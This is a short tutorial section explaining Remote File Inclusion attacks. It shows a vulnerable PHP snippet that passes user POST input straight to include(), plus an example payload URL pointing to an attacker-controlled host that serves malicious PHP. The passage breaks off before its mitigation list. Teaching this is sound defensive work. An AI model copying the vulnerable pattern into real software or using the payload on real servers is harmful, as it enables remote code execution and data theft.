---
description: https://www.indusface.com/learning/file-inclusion-attacks-lfi-rfi/
---

# 6.3.2 Remote File Inclusion (RFI)

## Remote File Inclusion (RFI)

In an RFI attack, an attacker exploits a vulnerability to include files from a remote server or location, usually using user-controllable input.

RFI attacks can lead to remote code execution, allowing the attacker to run arbitrary code hosted on a remote server.

RFI attacks are more dangerous than LFIs because they enable attackers to execute malicious code on the target server, potentially compromising security.

#### **Scenario Example**

```php
<?php
$templateUrl = $_POST[‘template_url’];
// Fetch and display the custom template
include($templateUrl);
?>
```

&#x20;In this scenario, the $template\_url variable is taken from user input (in this case, from a POST request), and it’s used in the include function to fetch and display the custom template.

This code presents a potential RFI vulnerability. The attacker would craft a POST request with a custom template URL pointing to a remote file that contains their malicious PHP code. For example, the attacker could set the template\_url parameter in the POST request to something like:

&#x20;**http://attacker-controlled-server/malicious-template.php**

When the server processes the POST request, it retrieves the URL content provided in the template\_url parameter and includes it in the script using the include function. In this case, it would attempt to fetch and execute the remote file “**http://attacker-controlled-server/malicious-template.php**.”

This code will be executed within the blog platform’s server, potentially compromising the system, stealing data, or performing any other malicious actions the attacker has programmed.

Protect against RFI in this situation by adhering to these security measures:
